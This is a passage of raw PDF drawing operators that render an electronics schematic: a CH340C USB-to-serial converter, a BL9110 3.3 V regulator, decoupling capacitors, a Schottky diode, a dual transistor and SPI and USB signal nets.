+(LED1) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.53 0.00 0.00 rg +[] 0 d +890.000 686.500 m +886.000 684.500 l +888.000 682.500 l +h +B +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.53 0.00 0.00 rg +[] 0 d +886.000 690.500 m +882.000 688.500 l +884.000 686.500 l +h +B +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +895.000 673.500 m +880.000 673.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +883.000 679.500 m +890.000 686.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +879.000 683.500 m +886.000 690.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +855.000 673.500 m +870.000 673.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +880.000 681.500 m +880.000 665.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.53 0.00 0.00 rg +[] 0 d +870.000 667.500 m +880.000 673.500 l +870.000 680.500 l +h +B +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +855.000 673.500 m +845.000 673.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +895.000 673.500 m +975.000 673.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +340.000 853.500 m +290.000 853.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +340.000 843.500 m +290.000 843.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +340.000 833.500 m +290.000 833.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +292.00 856.00 Td +(P_1) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +290.000 854.500 m +290.000 852.500 l +289.000 853.500 m +291.000 853.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +292.00 846.00 Td +(P_2) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +290.000 844.500 m +290.000 842.500 l +289.000 843.500 m +291.000 843.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +292.00 836.00 Td +(logo_c) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +290.000 834.500 m +290.000 832.500 l +289.000 833.500 m +291.000 833.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +902.00 911.00 Td +(P_1) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +900.000 909.500 m +900.000 907.500 l +899.000 908.500 m +901.000 908.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +897.00 866.00 Td +(P_2) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +895.000 864.500 m +895.000 862.500 l +894.000 863.500 m +896.000 863.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +340.000 773.500 m +290.000 773.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +340.000 753.500 m +290.000 753.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +340.000 743.500 m +290.000 743.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +292.00 776.00 Td +(MISO2) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +290.000 774.500 m +290.000 772.500 l +289.000 773.500 m +291.000 773.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +292.00 756.00 Td +(MOSI2) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +290.000 754.500 m +290.000 752.500 l +289.000 753.500 m +291.000 753.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +292.00 746.00 Td +(CSN) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +290.000 744.500 m +290.000 742.500 l +289.000 743.500 m +291.000 743.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +948.52 676.00 Td +(logo_c) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +975.000 674.500 m +975.000 672.500 l +974.000 673.500 m +976.000 673.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +310.000 988.500 m +320.000 988.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +310.000 1013.500 m +320.000 1013.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +795.000 708.500 m +795.000 673.500 l +805.000 673.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +883.09 485.30 Td +(100nF) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +898.01 505.26 Td +(C36) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +918.000 496.500 m +902.000 496.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +910.000 488.500 m +910.000 478.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +910.000 508.500 m +910.000 500.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +902.000 500.500 m +918.000 500.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +910.000 508.500 m +910.000 518.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +910.000 496.500 m +910.000 488.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +828.45 485.30 Td +(10uF_25V) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +856.45 505.30 Td +(C37) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +883.000 496.500 m +867.000 496.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +875.000 488.500 m +875.000 478.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +875.000 508.500 m +875.000 500.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +867.000 500.500 m +883.000 500.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +875.000 508.500 m +875.000 518.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +875.000 496.500 m +875.000 488.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +770.000 478.500 m +825.000 478.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +723.44 485.26 Td +(10uF_25V) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +780.01 495.26 Td +(C38) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +778.000 496.500 m +762.000 496.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +770.000 488.500 m +770.000 478.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +770.000 508.500 m +770.000 500.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +762.000 500.500 m +778.000 500.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +770.000 508.500 m +770.000 518.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +770.000 496.500 m +770.000 488.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +825.000 463.500 m +825.000 473.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +815.000 463.500 m +834.000 463.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +819.000 461.500 m +832.000 461.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +821.000 459.500 m +828.000 459.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +824.000 457.500 m +826.000 457.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +885.00 518.50 Td +(VCC) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +885.000 519.500 m +885.000 517.500 l +884.000 518.500 m +886.000 518.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +960.000 533.500 m +930.000 533.500 l +910.000 533.500 l +910.000 518.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +865.000 518.500 m +875.000 518.500 l +880.000 518.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +910.000 518.500 m +880.000 518.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +730.00 518.50 Td +(5V) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +730.000 519.500 m +730.000 517.500 l +729.000 518.500 m +731.000 518.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +770.000 518.500 m +770.000 548.500 l +940.000 548.500 l +940.000 523.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +770.000 518.500 m +730.000 518.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +785.000 518.500 m +775.000 518.500 l +770.000 518.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +950.000 463.500 m +950.000 448.500 l +910.000 448.500 l +910.000 478.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +880.000 478.500 m +910.000 478.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +825.000 478.500 m +880.000 478.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +825.000 478.500 m +825.000 488.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +825.000 473.500 m +825.000 478.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +792.74 530.28 Td +(BL9110-330BPFB) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +799.05 485.29 Td +(U6) Tj +ET +2 J +0 j +100 M +1.00 w +0.53 0.00 0.00 RG +[] 0 d +800.00 528.50 50.00 -30.00 re +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +0.00 1.00 -1.00 0.00 828.00 501.50 Tm +(GND) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +0.00 1.00 -1.00 0.00 824.00 486.78 Tm +(1) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +825.000 488.500 m +825.000 498.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +833.77 515.50 Td +(VO) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +856.00 519.50 Td +(2) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +865.000 518.500 m +850.000 518.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +803.00 515.50 Td +(VI) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +788.28 519.50 Td +(3) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +785.000 518.500 m +800.000 518.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +500.000 328.500 m +485.000 328.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +385.00 348.50 Td +(TX) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +385.000 349.500 m +385.000 347.500 l +384.000 348.500 m +386.000 348.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +405.000 348.500 m +385.000 348.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +385.00 338.50 Td +(RX) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +385.000 339.500 m +385.000 337.500 l +384.000 338.500 m +386.000 338.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +405.000 338.500 m +385.000 338.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +485.000 318.500 m +505.000 318.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +365.00 328.50 Td +(V3) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +365.000 329.500 m +365.000 327.500 l +364.000 328.500 m +366.000 328.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +355.000 328.500 m +385.000 328.500 l +405.000 328.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +255.000 298.500 m +225.000 298.500 l +225.000 278.500 l +190.000 278.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +190.000 338.500 m +230.000 338.500 l +230.000 318.500 l +405.000 318.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +230.00 318.50 Td +(USB_D+) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +230.000 319.500 m +230.000 317.500 l +229.000 318.500 m +231.000 318.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +190.000 308.500 m +405.000 308.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +230.00 308.50 Td +(USB_D-) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +230.000 309.500 m +230.000 307.500 l +229.000 308.500 m +231.000 308.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +449.03 371.98 Td +(CH340C) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +449.04 381.08 Td +(U4) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +464.29 355.50 Td +(VCC) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +485.00 359.50 Td +(16) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +505.000 358.500 m +485.000 358.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +459.60 345.50 Td +(R232) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +485.00 349.50 Td +(15) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +505.000 348.500 m +485.000 348.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +457.69 335.50 Td +(RTS#) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +485.00 339.50 Td +(14) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +505.000 338.500 m +485.000 338.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +456.91 325.50 Td +(DTR#) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +485.00 329.50 Td +(13) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +505.000 328.500 m +485.000 328.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +455.50 315.50 Td +(DCD#) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +485.00 319.50 Td +(12) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +505.000 318.500 m +485.000 318.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +465.60 305.50 Td +(RI#) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +485.00 309.50 Td +(11) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +505.000 308.500 m +485.000 308.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +456.31 295.50 Td +(DSR#) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +485.00 299.50 Td +(10) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +505.000 298.500 m +485.000 298.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +457.67 285.50 Td +(CTS#) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +490.00 289.50 Td +(9) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +505.000 288.500 m +485.000 288.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +427.00 285.50 Td +(NC.) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +414.29 289.50 Td +(8) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +405.000 288.500 m +425.000 288.500 l +S +2 J +0 j +100 M +1.00 w +0.53 0.00 0.00 RG +[] 0 d +428.000 368.500 m +482.000 368.500 l +483.657 368.500 485.000 367.157 485.000 365.500 c +485.000 281.500 l +485.000 279.843 483.343 278.500 482.000 278.500 c +428.000 278.500 l +426.343 278.500 425.000 280.157 425.000 281.500 c +425.000 365.500 l +425.000 367.157 426.657 368.500 428.000 368.500 c +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +427.00 295.50 Td +(NC.) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +414.29 299.50 Td +(7) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +405.000 298.500 m +425.000 298.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +427.00 305.50 Td +(D-) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +414.29 309.50 Td +(6) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +405.000 308.500 m +425.000 308.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +427.00 315.50 Td +(D+) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +414.29 319.50 Td +(5) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +405.000 318.500 m +425.000 318.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +427.00 325.50 Td +(V3) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +414.29 329.50 Td +(4) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +405.000 328.500 m +425.000 328.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +427.00 335.50 Td +(RXD) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +414.29 339.50 Td +(3) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +405.000 338.500 m +425.000 338.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +427.00 345.50 Td +(TXD) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +414.29 349.50 Td +(2) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +405.000 348.500 m +425.000 348.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +427.00 355.50 Td +(GND) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +414.29 359.50 Td +(1) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +405.000 358.500 m +425.000 358.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +336.97 335.28 Td +(1uF) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +336.45 355.28 Td +(C39) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +363.000 346.500 m +347.000 346.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +355.000 338.500 m +355.000 328.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +355.000 358.500 m +355.000 350.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +347.000 350.500 m +363.000 350.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +355.000 358.500 m +355.000 368.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +355.000 346.500 m +355.000 338.500 l +S +BT +/F3 12 Tf +12.00 TL +0.000 g +1.00 -0.00 0.00 1.00 342.01 387.52 Tm +(GND) Tj +ET +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +355.000 378.500 m +355.000 368.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +364.000 378.500 m +346.000 378.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +361.000 380.500 m +349.000 380.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +358.000 382.500 m +352.000 382.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +356.000 384.500 m +354.000 384.500 l +S +1 J +1 j +1.00 w +0.20 0.80 0.20 RG +[] 0 d +401.000 302.500 m +409.000 294.500 l +409.000 302.500 m +401.000 294.500 l +S +1 J +1 j +1.00 w +0.20 0.80 0.20 RG +[] 0 d +401.000 292.500 m +409.000 284.500 l +409.000 292.500 m +401.000 284.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +505.000 358.500 m +555.000 358.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +558.45 345.28 Td +(10uF_25V) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +536.45 345.30 Td +(C40) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +563.000 336.500 m +547.000 336.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +555.000 328.500 m +555.000 318.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +555.000 348.500 m +555.000 340.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +547.000 340.500 m +563.000 340.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +555.000 348.500 m +555.000 358.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +555.000 336.500 m +555.000 328.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 1.000 rg +571.26 325.26 Td +(C0603) Tj +ET +BT +/F3 12 Tf +12.00 TL +0.000 g +1.00 -0.00 0.00 1.00 542.02 291.33 Tm +(GND) Tj +ET +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +555.000 308.500 m +555.000 318.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +546.000 308.500 m +564.000 308.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +549.000 306.500 m +561.000 306.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +552.000 304.500 m +558.000 304.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +554.000 302.500 m +556.000 302.500 l +S +BT +/F3 12 Tf +12.00 TL +0.000 g +1.00 -0.00 0.00 1.00 542.67 371.52 Tm +(VCC) Tj +ET +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +555.000 368.500 m +555.000 358.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +550.000 368.500 m +560.000 368.500 l +S +1 J +1 j +1.00 w +0.20 0.80 0.20 RG +[] 0 d +501.000 352.500 m +509.000 344.500 l +509.000 352.500 m +501.000 344.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +505.000 338.500 m +535.000 338.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +505.000 328.500 m +535.000 328.500 l +S +1 J +1 j +1.00 w +0.20 0.80 0.20 RG +[] 0 d +501.000 322.500 m +509.000 314.500 l +509.000 322.500 m +501.000 314.500 l +S +1 J +1 j +1.00 w +0.20 0.80 0.20 RG +[] 0 d +501.000 312.500 m +509.000 304.500 l +509.000 312.500 m +501.000 304.500 l +S +1 J +1 j +1.00 w +0.20 0.80 0.20 RG +[] 0 d +501.000 302.500 m +509.000 294.500 l +509.000 302.500 m +501.000 294.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +249.43 280.34 Td +(1N5819G-CA2-R) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +254.04 290.25 Td +(D1) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +270.000 292.500 m +280.000 298.500 l +270.000 305.500 l +h +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +282.000 291.500 m +282.000 290.500 l +280.000 290.500 l +280.000 306.500 l +278.000 306.500 l +278.000 305.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +255.000 298.500 m +270.000 298.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +295.000 298.500 m +280.000 298.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +295.000 298.500 m +320.000 298.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +308.14 298.50 Td +(5V) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +320.000 299.500 m +320.000 297.500 l +319.000 298.500 m +321.000 298.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +897.00 231.83 Td +(MMDT3904-7-F) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +897.00 240.16 Td +(Q1) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +835.000 268.500 m +835.000 258.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +860.000 218.500 m +860.000 228.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +835.000 218.500 m +835.000 228.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +835.000 248.500 m +845.000 241.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +845.000 235.500 m +835.000 228.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +845.000 247.500 m +845.000 229.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.53 0.00 0.00 rg +[] 0 d +835.000 228.500 m +838.000 233.500 l +841.000 229.500 l + h +B +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +885.000 218.500 m +885.000 228.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +860.000 268.500 m +860.000 258.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +885.000 268.500 m +885.000 258.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +885.000 238.500 m +875.000 245.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +875.000 251.500 m +885.000 258.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +875.000 239.500 m +875.000 257.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.53 0.00 0.00 rg +[] 0 d +885.000 258.500 m +882.000 253.500 l +879.000 257.500 l + h +B +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +835.000 258.500 m +835.000 248.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +885.000 238.500 m +885.000 228.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +860.000 258.500 m +860.000 253.500 l +860.000 248.500 l +875.000 248.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +845.000 238.500 m +860.000 238.500 l +860.000 228.500 l +S +2 J +0 j +100 M +1.00 w +0.53 0.00 0.00 RG +[] 0 d +827.000 263.500 m +893.000 263.500 l +894.105 263.500 895.000 262.605 895.000 261.500 c +895.000 225.500 l +895.000 224.395 893.895 223.500 893.000 223.500 c +827.000 223.500 l +825.895 223.500 